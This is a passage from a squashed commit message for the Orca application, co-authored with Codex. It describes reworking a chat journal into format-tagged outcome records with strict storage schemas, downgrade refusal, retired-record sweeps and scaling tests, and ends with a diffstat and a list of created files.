against a full replay. * test: measure each backfill pass's row reads on its own The parked-chat test counted its own replay checks: 64 pass rows plus 68, 68 and 100 oracle rows made the 300 CI saw. Each timer window is now measured alone, and coverage is read from its saved row, so the unchanged pass reads 0 rows and the re-armed one reads one page. * fix: bound catch-up reads, release the finished prefix, and keep unreadable views - A catch-up page now stops reading rows at the row whose text reaches about 1 MiB, so rows past the budget are never fetched and fetched again; saved-view item and entry pages use the same budget. - An open chat drops its private prefix once coverage reaches the tip and keeps it only across a failed or parked page. - A present current-epoch view this build cannot read (another codec version or corrupt content) is no longer cleared by the first page. Its whole history must fold cleanly through the tip first; otherwise it parks untouched. A storage error while reading the view fails with backoff instead of reading as a missing view. - The pace charges only the runner's own work units, so time spent waiting on an open chat's catch-up or the write lane no longer lengthens the next rest. * test: cover takeover, epoch replacement and stop in the middle of a pass A chat opened while the pass rests is caught up by its own runner from the committed page; the pass pages it no further and does not charge the wait to its pace. A replacement leaves its new view untouched, and a stopped pass resumes after its last committed page. * test: fail the takeover test without the handover break, and the replacement test without the stale-runner guard The takeover test asserts the pass asks the open owner only twice for the handed-over chat, and pins performance.now so the open runner's pace never waits on a fake timer. The replacement now lands while the open runner is resting in its saved-view decode, so its page reaches the lane after the replacement; the test asserts no transaction opens. * test: read saved-view pages with the page budget, and await database closes The paged-decode round trip passes the row-and-text budget and checks the view decoded. Projection, scaling and ACP launch tests await the now-async test database close, so a closing checkpoint worker cannot close the next test's database. * Persist native chat outcomes with a rebuildable cache Store immutable keyed transition results with canonical ordering, fence outcome epochs, and convert legacy inputs through paced invisible generations. Rebuild disposable caches from validated outcomes and read sparse logical sequence groups without changing the wire. Co-Authored-By: Codex * test: repair the split suites so they parse, lint clean and find their setup Restores the describe blocks the split truncated, the loop variable it renamed, the fixture references and imports it dropped, and a stray argument pair. Moves the grandfathered flaky-pattern counts with the code that moved. * test: read outcome epochs as outcomes where the adapted assertions read input rows A replaced epoch restates its Stop in the saved pause marks, the sparse-group batch test needs an outcome epoch rather than the input-format fixture, and a revised item keeps its first place, so the held-write order is read from the replayed groups. * test: expect saved queue cards as whole values in the queue-history assertions The adapted helpers read card outcomes, which store each card's whole state, so an import or refusal shows as the card's own state change rather than as an input row. * style: format the files this PR changed * test: import each module once in two journal suites * fix: decode saved outcomes with a frozen format-1 schema, independent of the cache codec Outcome values decode through a versioned format-1 schema that never follows the live reducer type; an unknown field reads as saved by a newer Orca, and the cache codec only delegates to it, so a codec bump rebuilds the cache and nothing else. * fix: key outcomes by an integer generation and keep the cache stamp in its state row Each outcome row names its generation, the attempt's id, instead of repeating the chat id, epoch and a UUID; the cache stamp is a column of the cache's own state row, so there is one stamp to keep in step; cache ordinals are text like the outcomes they copy. Orphaned caches are swept from the per-chat state row with indexed per-chat deletes. The WSL census lists both schema files. * fix: finalize queue ownership before publishing a new epoch, and reject unreadable outcome rows Epoch replacement and rollover adopt the committed state, keep attachment claims and finalize the queue receipt before the fallible publication step, as before outcomes. Every persisted outcome row is read back through the row reader, so a row it rejects fails as journal_row_rejected. Publishing an epoch checks the epoch it replaces is still current. A key deleted and re-created in one write moves to the end of the pending changes, matching its new ordinal. * fix: open a chat synchronously and unpaced, and classify read failures by cause A user's open reads the cache or rebuilds from outcomes in one synchronous pass, like replay on main, so no background rebuild can interleave with it and nothing paces or bills it. Only an outcome decode failure is damage; a value from a newer format is refused as newer; storage errors propagate as unavailable. Writes derive cache currency from the stamp instead of a latch and ask the maintenance runner when it lags. * fix: run all journal maintenance through one paced runner per database One runner serves requested chats first, then lagging ones, one catch-up at a time, open or closed, so an open chat keeps its conversion's progress. A busy or replaced chat is skipped and the pass continues; content that cannot convert parks until the chat's rows change; storage failures back off. Background work alone pays the duty cycle. Conversion verifies the whole input once, then only the outcome tail; cache rebuilds copy outcome pages to the moving tip and stamp from the scalar outcomes. * test: adapt journal suites to generation-keyed outcomes, the merged cache stamp and the publication order Queries read outcomes by generation; the bootstrap test expects the queue receipt to finalize before publication; queue-import-scaling states the reopen's constant two key visits when it retries a failed import; append-delivery reads the outcome change index's item ids. * test: pin outcome format 1 with checked-in rows, and cover open consistency, transient reads and re-created keys A golden fixture of format-1 outcome rows covering every field and scalar must restore to the pinned chat; a cache codec bump only rebuilds the cache; an unknown field reads as newer. An open between two pages of a cache rebuild reads the whole chat from outcomes. A transient read error during open is unavailable, not damage, and the next open loads the chat. A key deleted and re-created around a new key in one row keeps live order, written or converted. * refactor: check a converting chat's epoch once, in the catch-up step that runs each page The catch-up reads the chat's epoch in the same synchronous step as the page's transaction, for conversion and cache rebuild alike, so the conversion's second copy of the check is dropped. * test: drive the maintenance runner over a real database, each guard killed by a mutation Startup sweeps, closed chats converted one at a time with a busy chat skipped, an open chat writing between conversion pages, a stop between pages, an epoch replaced mid-conversion, content parked until the chat writes again and then delivered, and a storage failure backed off rather than parked. * test: N/10N contracts for outcome appends, opens, conversion, publication, idle passes, sweeps, tail verify and wire catch-up Each counts statements through prepare and exec, rows read per table and rows and bytes written, never time, and requires the same work for a chat ten times larger: a streamed revision, a Codex plan update and an acceptance; a cached open reads no outcome; a conversion page reads one page of input and publication none; an idle background pass reads no history; a retired generation and an orphaned cache are deleted one indexed page at a time; a second verify reads only the new outcomes; a wire catch-up reads only the groups asked for. * test: shipped builds keep a new or converted outcome chat untouched The newest release refuses the chat as a newer Orca's and leaves every byte of the database as it was; a build from before that reason opens it read-only with nothing shown, refuses writes, and changes no saved row. * test: an epoch publication over an epoch the caller did not see is refused, and damage at row 1 still yields to a newer row Publishing a new epoch checks, inside its transaction, the epoch the caller last saw, and writes nothing when it changed. A chat whose first row is unreadable keeps reading for a newer build's row, as main does, and is refused as a newer Orca's. * test: old-build probes fold input rows only, and the interrupted-call probe writes inputs * test: import the state layout once in the cache test support * fix: type the tail verify's live lookups per collection, and two test call shapes The tail verify looked keys parsed from stored JSON up in a union of live maps, which does not typecheck; each format-1 collection now has a typed lookup that narrows the parsed key first, and the table is checked complete against the format's collection list. * fix: wake the maintenance runner for a request or a due retry ahead of the periodic pass One timer now wakes the runner at the earlier of the next periodic pass and the first due request or storage retry, re-derived from the waiting chats after each pass, so a request after the first pass is served within a second and a backoff retry is no longer replaced by the six-hour pass. A chat whose load swept a retired page keeps its turn instead of waiting for the next pass. Tests drive start(), requests and timers on fake time. * test: pin the draft's tracked nodes per streamed revision and acceptance at N and 10N The scaling chat gains dispatched and returned queue cards. A streamed revision's only growing term is the queue card scan, one node per card plus each returned card's body; an acceptance echo also reads every item with its body and every submission. Main's reducer makes the same scans on these rows; the draft adds one node per value reached. * test: cross-version probes read a new chat's turn end as one outcome sequence, and the kept-card downgrade uses an unconverted chat * fix: store every new write as format-tagged outcome records after an existing chat's rows, with no conversion An existing chat keeps its input rows byte for byte; its first write appends one marker row that shipped builds refuse, and its records follow. New chats hold only their marker and records. Each record carries its own format and the epoch keeps the highest format it holds, checked before a cache is used or anything is written. Opening a chat with an input prefix folds the prefix as main does and applies the records over it, deletions included, keeping prefix keys in place; catch-up pages the prefix rows, then the record groups. Background conversion and its attempts, staging, verification and publication are gone; the maintenance runner rebuilds only caches of chats without a prefix, parks a rebuild on its epoch's records rather than the newest sequence, and looks a requested chat up by its key. * test: pin the marker, prefix-plus-records reopen, record admission before the cache, cache-only runner parking and N/10N work Input fixtures stand for a chat an older build wrote: their input epoch keeps taking input rows, so the input reader still meets writer-made rows; epochs this build founds are written as it writes them. Conversion tests give way to a mixed chat whose prefix keys are deleted, recreated and updated in place, the runner's rebuild parking that later writes never re-arm, and contracts for writing to, opening and rebuilding chats at N and 10N. * fix: refuse a chat whose outcome marker is a newer version as a newer Orca's, not as damage * test: shipped builds refuse an existing chat at its appended marker, its input rows unchanged, and this build reads it whole again The probe writes three items as input rows the way an older build did, then this build's writes append one marker and outcome records; the newest release refuses the chat as a newer Orca's with every byte unchanged, the writable baseline latches read-only at the marker, and the re-upgraded build reads all six items with the prefix rows as they were. * test: read the runner's rebuild instances as rebuilds, so the parked-chat test typechecks * fix: admit saved outcome records and the cache only through a strict storage schema A saved record or cached value holding a key or union tag this build does not declare, at any depth, now refuses the chat as a newer Orca's before the cache is used or anything is written. The storage schema reuses the wire's shared definitions, completes the keys they leave out (failure facts, senders, edit patches and the rest), and closes every object and open union; string vocabularies and opaque payloads keep the wire's meaning. A compile-time check fails CI when a persisted type gains a key storage does not declare, and a checked-in corpus of every declared shape replaces the schema fingerprint, so an added optional key needs no new format. * fix: refuse an input row or legacy card holding a key this build does not declare before folding it Restating a chat on a new epoch is safe only if the open chat holds nothing this build half understands. An input row of a known kind (an existing chat's frozen prefix, with or without outcome records after it) is now checked key by key against what this build declares before main's reader normalizes it, and refuses the chat as a newer Orca's; values keep main's checks and execution options their legacy meaning. A legacy queued card whose saved body holds an undeclared key stays on disk, unadopted, as an unreadable card does. Client sends already arrive through strict request schemas, and their options through a reader that drops choices this build does not use. Main's tests that kept a newer build's unknown body kind, subject or key readable and writable now expect the refusal; the three that drove a newer Orca's approval or item through this build's own writers are removed, since this build can no longer hold one. A checked-in input prefix pins how this build folds older rows, and every value it folds into is one storage admits. * test: a persisted type holding a key storage does not declare, nested included, fails to compile * test: this build refuses a newer build's body or subject kind as a newer Orca's, keeping the row an older build deletes * fix: fold each outcome write from the row a reload reads, so an annotation the reader drops never fails the strict record write An ACP usage report with size 0 (allowed by the protocol) reached the model as an unusable window, the strict encoder refused it, and the agent was stopped mid-turn. Main writes that row and drops the annotation on reload; folding the read-back row keeps live state equal to that reload for every annotation the reader drops. * test: an echo declared without a known original is stored as null, the shape a reload reads * test: probe the downgrade refusal on both releases in the downgrade window, not only the newest * test: both releases in the downgrade window write a Claude and a Codex chat through their own writers, and this build admits every row and opens the chat as that release had it * test: rewind, replacement and rollover of a chat holding old rows, the marker and records keep what the user kept and delete the retired epoch whole * test: phone and paired catch-up over a chat holding old rows then records, from a cursor inside the old rows, draws as the clients render it * test: ACP launch decisions read an outcome chat from its cache and from its records alone, and a newer one as unreadable * Open new and mixed chats from each key's newest record and drop the saved-state cache The cache copied each key's newest record into a second set of tables and needed stamps, a paced rebuild, a savepoint fallback and a repair runner to stay usable. The records' key index already answers the same read: an open seeks from one key to the next, taking each key's newest record (deletions included) and never reading superseded revisions. A mixed chat still folds its frozen input prefix first. A send now writes only its records, the epoch's coverage and its receipt, so any failure among them refuses the send as main's row insert does. The background runner keeps only the paced sweep of retired generations, its one remaining job. The cache tables are no longer created; they never shipped. * Derive an outcome chat's last sequence from its coverage instead of recording it Every write recorded the sequence scalar beside its own records, about half the records on streamed paths. The epoch's coverage already holds it, so a read supplies it from there and a write no longer stores it. Records an earlier build stored still decode. * test: count strict admission per open, catch-up page and write of an existing chat at N and 10N Admission walks each input row it reads once (on top of main's parse), and each outcome record it reads or writes once: the open of a mixed chat walks exactly its prefix rows and admits one record per key, a catch-up page walks one row per input row it returns, and a write walks its row's read-back and admits each record it inserts. Linear in what is read, with a constant of one. * Keep a record that updated a prefix key when a later prefix fold no longer yields that key A tail record with the prefix ordinal is the key's newest value. If a later build's reducer reads the old rows differently and no longer produces that key, the value is appended instead of refusing the whole chat as damaged; only that key's place can change. * Resume each sweep page at the generation it is deleting After a page of records the sweep went back to its start position, so every later page rescanned every live chat's generation numbered below the retired one. It now resumes at that generation; a contract at N and 10N live chats pins that only a pass's first page walks them. * test: the sweeper rests nine times each page's work * Start the retired-record sweep from the chat database the attachments already take The sweep was wired through an optional parameter, so dropping it at the one production caller would have left retired records forever with every test passing. It now runs on the required journal database, and a wiring test checks that installing starts it and stopping ends it. * test: an existing chat whose first write fails keeps no marker, and the newest release still opens and writes it * test: chats the window's releases and the oldest release with this chat database wrote are edited, sent to and rewound by this build as the newest release does Each release writes a Claude and a Codex chat through its own writers. This build opens it, edits a card the old rows hold (its first write: the marker and an in-place update), sends, rewinds (every kept message and card saved again through the strict encoder) and reopens, with every commit restoring to the live chat. The result equals the newest release's after the same steps. The oldest release is resolved from tags, as the window is. * test: the released-chat writer resumes the queue after every Stop it records, and the probe reads each step's result once * test: the released-chat probe checks this build's edit, send and rewind on its own result Comparing the carried chat with the newest release's would fail the required cross-version check for any legitimate main change to those flows until the next release ships. The probe still admits every released row, opens the chat as the release and the newest release do, keeps the release's rows byte for byte with one marker, and restores to live after every commit; after that it checks the edited card, the accepted send and the rewind's survivors. The oldest release with the per-host database is named directly: it never changes. * test: the golden input prefix holds data in every keyed collection Six collections folded empty, so a change to how old rows derive their keys went unnoticed there. Eight rows v1.4.245 wrote through its own journal (an item with an execution owner, a declared echo, a removed turn, and a queued card handed over with carried history, then cancelled in doubt) follow the existing rows unchanged, and the test now requires every collection to be non-empty. * Say once, beside the marker version, that the reading of old rows under it is frozen The fold comment claimed an unheld prefix-ordinal value only moves that key; a prefix read differently can also show a key twice or bring back one the tail deleted. The marker version now states the rule: a build that reads old rows into different keys or values keys that reading off a new marker version, and duplication or resurrection is never intended. * test: the released-chat probe compares what the release wrote, not fields this build adds The open check compared whole snapshots, so a field main starts setting would fail the required cross-version job until a release ships it. It now compares the release's items, sends and cards, in order and by value, allowing added fields; the byte-identity and restore-equals-live checks are unchanged. * test: say why the first-write-failure downgrade test needs a longer timeout * Type the open-union fallback check by schema, not a bare object * Check each outcome-format key set separately so no check reads as a redundant union member * Read an open or branded string as a value in the storage key check, not as an object * Decode each newest outcome record from the value admission parsed, without parsing or walking it again or keeping its text * Match each encoded record to its change by position, so a settlement batch's encode stays linear in its mutations * Encode each changed value as the draft holds it, without reading it through the draft's tracking * test: rewind, replacement and rollover restate a chat with fixed statements and work linear in what they restate --------- Co-authored-by: Codex --- config/flaky-test-pattern-baseline.txt | 4 +- ...acp-structured-host-restore-failed.test.ts | 4 +- .../acp-structured-launch-resolution.test.ts | 157 +++ ...cp-structured-unknown-window-usage.test.ts | 49 + ...ctured-journal-settlement-rollback.test.ts | 34 +- ...journal-translation-turn-lifecycle.test.ts | 414 +----- ...ex-structured-thread-catch-up-echo.spec.ts | 16 +- .../codex-structured-thread-catch-up.test.ts | 605 +++------ ...x-thread-catch-up-contract-test-fixture.ts | 136 ++ .../codex-thread-catch-up-rewind.test.ts | 160 +++ .../codex-turn-lifecycle-completion.test.ts | 194 +++ ...ex-turn-lifecycle-contract-test-fixture.ts | 92 ++ .../codex-turn-lifecycle-history.test.ts | 138 ++ src/main/jsonl-rpc/timeline-lane.test.ts | 2 + .../__fixtures__/journal-input-prefix.json | 456 +++++++ .../journal-outcome-format-1-values.json | 1178 +++++++++++++++++ .../journal-outcome-format-1.json | 894 +++++++++++++ ...urnal-approval-revision-validation.spec.ts | 39 + ...atomic-settlement-contract-test-fixture.ts | 125 ++ ...ournal-atomic-settlement-oversized.spec.ts | 107 ++ ...journal-atomic-settlement-rollback.spec.ts | 250 ++++ ...journal-atomic-terminal-settlement.spec.ts | 433 +----- .../agent-session-journal/journal-cursor.ts | 16 +- .../journal-damage.test.ts | 81 +- .../agent-session-journal/journal-database.ts | 2 + .../journal-derived-turn-scope.ts | 10 + .../journal-epoch-controller.ts | 5 +- ...epoch-replacement-contract-test-fixture.ts | 161 +++ ...journal-epoch-replacement-receipts.spec.ts | 229 ++++ .../journal-epoch-replacement.spec.ts | 328 +---- .../journal-epoch-replacement.ts | 70 +- .../journal-epoch-rollover.ts | 46 +- .../journal-host-database-test-support.ts | 113 +- .../journal-host-database.spec.ts | 20 +- .../journal-host-database.ts | 8 +- .../journal-item-provenance.spec.ts | 2 +- .../journal-lifecycle-batch-appender.spec.ts | 2 +- .../journal-lifecycle-boundaries.spec.ts | 197 +++ .../journal-mixed-epoch-replacement.test.ts | 185 +++ .../agent-session-journal/journal-open.ts | 119 +- .../journal-outcome-cleanup.ts | 157 +++ .../journal-outcome-codec.ts | 199 +++ .../journal-outcome-format-1-decode.ts | 180 +++ .../journal-outcome-format-1.test.ts | 201 +++ .../journal-outcome-format-1.ts | 273 ++++ .../journal-outcome-format.ts | 148 +++ .../journal-outcome-scaling.test.ts | 800 +++++++++++ .../journal-outcome-sweeper.test.ts | 131 ++ .../journal-outcome-table.ts | 99 ++ .../journal-outcome-wire.test.ts | 126 ++ .../journal-outcome-write.ts | 46 + .../journal-projection-bootstrap.test.ts | 173 +++ .../journal-projection-failure.test.ts | 158 +++ .../journal-projection-streams.test.ts | 250 ++++ .../journal-projection-test-support.ts | 96 ++ .../agent-session-journal/journal-read-row.ts | 51 + .../journal-received-content.test.ts | 25 +- .../journal-reducer-transition.ts | 272 ++++ .../journal-row-context-usage.spec.ts | 4 +- .../journal-row-schema-version.spec.ts | 2 +- .../journal-row-schema.test.ts | 26 +- .../journal-row-schema.ts | 10 +- .../journal-row-table.ts | 22 +- .../journal-row-writer.ts | 24 +- .../journal-saved-state.test.ts | 246 ++++ .../journal-sequence-replay.spec.ts | 286 ++++ .../journal-state-codec.ts | 45 + .../journal-state-layout.ts | 82 ++ .../journal-state-schema.ts | 6 + .../journal-storage-admission.test.ts | 277 ++++ .../journal-storage-row-schema.ts | 143 ++ .../journal-storage-schema.ts | 180 +++ .../journal-storage-strict.ts | 131 ++ .../journal-store-collaborators.ts | 2 + .../journal-store-contract-test-fixture.ts | 99 ++ .../journal-store-contracts.ts | 4 +- .../journal-store-restore.ts | 9 +- .../journal-store-schema.spec.ts | 2 +- .../journal-store.spec.ts | 514 +------ .../agent-session-journal/journal-store.ts | 33 +- ...streamed-revision-contract-test-fixture.ts | 78 ++ ...reamed-revision-resolved-lifecycle.test.ts | 238 ++++ .../journal-streamed-text-revision.test.ts | 309 +---- ...nal-terminal-settlement-validation.spec.ts | 405 +----- .../journal-terminal-time-validation.spec.ts | 219 +++ ...ournal-terminal-validation-test-fixture.ts | 177 +++ .../journal-transition-collections.ts | 269 ++++ .../journal-unknown-content.spec.ts | 37 +- .../journal-unknown-row-kind.spec.ts | 27 +- ...-unsent-send-hold-contract-test-fixture.ts | 195 +++ .../journal-unsent-send-hold-queue.spec.ts | 160 +++ .../journal-unsent-send-hold-recovery.spec.ts | 176 +++ .../journal-unsent-send-hold.spec.ts | 480 +------ .../journal-write-projection.ts | 77 ++ ...ued-message-pause-contract-test-fixture.ts | 193 +++ .../queued-message-pause-held-cards.spec.ts | 108 ++ .../queued-message-pause.spec.ts | 730 +--------- .../queued-message-reopen-pause.spec.ts | 243 ++++ .../queued-message-stop-pause.spec.ts | 246 ++++ .../queued-message-stored-row.ts | 6 + .../agent-session-history-batches.test.ts | 210 +++ .../agent-session-history-byte-limits.test.ts | 126 ++ ...t-session-history-contract-test-fixture.ts | 148 +++ ...t-session-history-large-identities.test.ts | 199 +++ .../agent-session-history-page.test.ts | 685 +--------- .../agent-session-journal-batch.ts | 30 +- ...session-stop-note-contract-test-fixture.ts | 102 ++ .../agent-session-stop-note-paging.test.ts | 138 ++ ...agent-session-stop-note-projection.test.ts | 275 +--- ...ctured-agent-session-actionable-prompts.ts | 22 +- ...ured-agent-session-append-delivery.test.ts | 6 +- ...ssion-claude-stop-contract-test-actions.ts | 214 +++ ...ssion-claude-stop-contract-test-fixture.ts | 235 ++++ ...t-session-claude-stop-ends-session.test.ts | 691 +--------- ...gent-session-claude-stop-plan-card.test.ts | 46 + ...nt-session-claude-stop-queue-cards.test.ts | 268 ++++ ...uctured-agent-session-clear-rewind.test.ts | 10 +- .../structured-agent-session-conversations.ts | 3 + ...ent-session-create-adoption-budget.test.ts | 240 ++++ ...n-create-adoption-contract-test-fixture.ts | 73 + ...nt-session-create-adoption-restart.test.ts | 236 ++++ ...ured-agent-session-create-adoption.test.ts | 516 +------- ...uctured-agent-session-current-work.test.ts | 9 +- .../structured-agent-session-host.ts | 3 +- ...-session-late-settlement-cancelled.test.ts | 136 ++ ...n-late-settlement-contract-test-fixture.ts | 180 +++ ...ured-agent-session-late-settlement.test.ts | 325 +---- ...ession-leftover-settlement.test-fixture.ts | 13 +- ...red-agent-session-mutation-context.test.ts | 26 +- ...d-agent-session-newer-content-host.test.ts | 79 -- ...ctured-agent-session-prompt-cancel.test.ts | 29 - ...sion-queue-import-contract-test-fixture.ts | 161 +++ ...sion-queue-import-retained-history.test.ts | 206 +++ ...d-agent-session-queue-import-reuse.test.ts | 207 +++ ...agent-session-queue-import-scaling.test.ts | 167 +++ ...agent-session-queued-legacy-import.test.ts | 740 +---------- ...sion-queued-legacy-journal.test-fixture.ts | 34 + ...session-queued-message-rig.test-fixture.ts | 6 + ...ed-agent-session-queued-pause-lift.test.ts | 5 + ...-agent-session-queued-refused-card.test.ts | 36 +- ...ent-session-restart-failure-filing.test.ts | 7 +- ...ssion-restart-interruption-test-harness.ts | 24 +- ...t-session-restart-offer-newer-orca.test.ts | 27 +- ...ed-agent-session-restart-ownership.test.ts | 20 +- ...nt-session-restart-resume-progress.test.ts | 7 +- .../structured-agent-session-rewind.test.ts | 41 +- ...uctured-agent-session-send-options.test.ts | 20 + ...d-agent-session-stale-turn-verdict.test.ts | 915 +++---------- ...ion-stale-verdict-contract-test-fixture.ts | 107 ++ ...-session-stale-verdict-persistence.test.ts | 167 +++ ...gent-session-stale-verdict-prompts.test.ts | 250 ++++ ...tructured-agent-session-stop-event.test.ts | 9 +- ...ctured-agent-session-stop-receipts.test.ts | 9 +- ...ession-subscriber-contract-test-fixture.ts | 29 + ...ssion-subscriber-oversized-removal.test.ts | 108 ++ ...ent-session-subscriber-publication.test.ts | 214 +++ ...ructured-agent-session-subscribers.test.ts | 737 +++-------- ...ession-transition-contract-test-fixture.ts | 84 ++ ...-agent-session-transition-rollback.test.ts | 131 ++ ...tructured-agent-session-transition.test.ts | 568 +++----- ...uctured-agent-session-unopened-tab.test.ts | 2 +- ...tured-agent-session-wire-admission.test.ts | 2 +- .../structured-worker-journal-page.test.ts | 14 + ...worker-start-card-contract-test-fixture.ts | 30 + .../worker-start-card-operations.test.ts | 307 +++++ ...rker-start-card-population.test-fixture.ts | 52 + ...worker-start-card-scenario.test-fixture.ts | 164 +++ .../orchestration/worker-start-card.test.ts | 493 +------ ...ured-agent-session-at-rest-context.test.ts | 299 +++++ ...ctured-agent-session-at-rest-lease.test.ts | 52 + ...ured-agent-session-at-rest-options.test.ts | 172 +++ .../structured-agent-session-at-rest.test.ts | 1034 ++++----------- ...gent-session-rest-contract-test-fixture.ts | 98 ++ .../structured-agent-runtime-registrations.ts | 4 +- ...ed-agent-session-attachment-wiring.test.ts | 62 +- ...uctured-agent-session-attachment-wiring.ts | 17 +- ...gent-session-codex-interrupt-order.test.ts | 23 +- ...ent-session-codex-settlement-order.test.ts | 38 +- ...red-chat-dispatch-worker-lifecycle.test.ts | 103 +- src/main/sqlite/sqlite-read-failure.ts | 2 +- .../agent-session-journal-open-union.ts | 8 + src/shared/agent-session-journal-schemas.ts | 8 + .../wsl-move/wsl-move-storage-dispositions.ts | 4 + ...on-interrupted-tool-downgrade.unit.test.ts | 14 +- ...nt-session-newer-chat-refusal.unit.test.ts | 11 +- ...ession-outcome-chat-downgrade.unit.test.ts | 300 +++++ ...-session-stop-event-downgrade.unit.test.ts | 22 +- .../cross-version-stop-note-scenarios.ts | 3 +- .../kept-card-downgrade.unit.test.ts | 3 +- .../cross-version-wire/release-checkout.ts | 18 + .../released-chat-continuation.ts | 94 ++ .../cross-version-wire/released-chat-queue.ts | 57 + .../released-chat-upgrade.unit.test.ts | 211 +++ .../released-chat-writers.ts | 301 +++++ .../journal-restored-consumers.unit.test.ts | 482 +++++++ 195 files changed, 21381 insertions(+), 10418 deletions(-) create mode 100644 src/main/acp/acp-structured-unknown-window-usage.test.ts create mode 100644 src/main/codex/codex-thread-catch-up-contract-test-fixture.ts create mode 100644 src/main/codex/codex-thread-catch-up-rewind.test.ts create mode 100644 src/main/codex/codex-turn-lifecycle-completion.test.ts create mode 100644 src/main/codex/codex-turn-lifecycle-contract-test-fixture.ts create mode 100644 src/main/codex/codex-turn-lifecycle-history.test.ts create mode 100644 src/main/native-chat/agent-session-journal/__fixtures__/journal-input-prefix.json create mode 100644 src/main/native-chat/agent-session-journal/__fixtures__/journal-outcome-format-1-values.json create mode 100644 src/main/native-chat/agent-session-journal/__fixtures__/journal-outcome-format-1.json create mode 100644 src/main/native-chat/agent-session-journal/journal-approval-revision-validation.spec.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-atomic-settlement-contract-test-fixture.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-atomic-settlement-oversized.spec.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-atomic-settlement-rollback.spec.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-epoch-replacement-contract-test-fixture.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-epoch-replacement-receipts.spec.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-lifecycle-boundaries.spec.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-mixed-epoch-replacement.test.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-outcome-cleanup.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-outcome-codec.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-outcome-format-1-decode.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-outcome-format-1.test.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-outcome-format-1.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-outcome-format.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-outcome-scaling.test.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-outcome-sweeper.test.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-outcome-table.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-outcome-wire.test.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-outcome-write.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-projection-bootstrap.test.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-projection-failure.test.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-projection-streams.test.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-projection-test-support.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-read-row.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-reducer-transition.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-saved-state.test.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-sequence-replay.spec.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-state-codec.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-state-layout.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-state-schema.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-storage-admission.test.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-storage-row-schema.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-storage-schema.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-storage-strict.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-store-contract-test-fixture.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-streamed-revision-contract-test-fixture.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-streamed-revision-resolved-lifecycle.test.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-terminal-time-validation.spec.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-terminal-validation-test-fixture.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-transition-collections.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-unsent-send-hold-contract-test-fixture.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-unsent-send-hold-queue.spec.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-unsent-send-hold-recovery.spec.ts create mode 100644 src/main/native-chat/agent-session-journal/journal-write-projection.ts create mode 100644 src/main/native-chat/agent-session-journal/queued-message-pause-contract-test-fixture.ts create mode 100644 src/main/native-chat/agent-session-journal/queued-message-pause-held-cards.spec.ts create mode 100644 src/main/native-chat/agent-session-journal/queued-message-reopen-pause.spec.ts create mode 100644 src/main/native-chat/agent-session-journal/queued-message-stop-pause.spec.ts create mode 100644 src/main/native-chat/agent-session-wire/agent-session-history-batches.test.ts create mode 100644 src/main/native-chat/agent-session-wire/agent-session-history-byte-limits.test.ts create mode 100644 src/main/native-chat/agent-session-wire/agent-session-history-contract-test-fixture.ts create mode 100644 src/main/native-chat/agent-session-wire/agent-session-history-large-identities.test.ts create mode 100644 src/main/native-chat/agent-session-wire/agent-session-stop-note-contract-test-fixture.ts create mode 100644 src/main/native-chat/agent-session-wire/agent-session-stop-note-paging.test.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-contract-test-actions.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-contract-test-fixture.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-plan-card.test.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-queue-cards.test.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-budget.test.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-contract-test-fixture.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-create-adoption-restart.test.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement-cancelled.test.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement-contract-test-fixture.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-contract-test-fixture.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-retained-history.test.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-reuse.test.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-scaling.test.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-journal.test-fixture.ts create mode 100644 src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-contract-test-fixture.ts create mode 100644 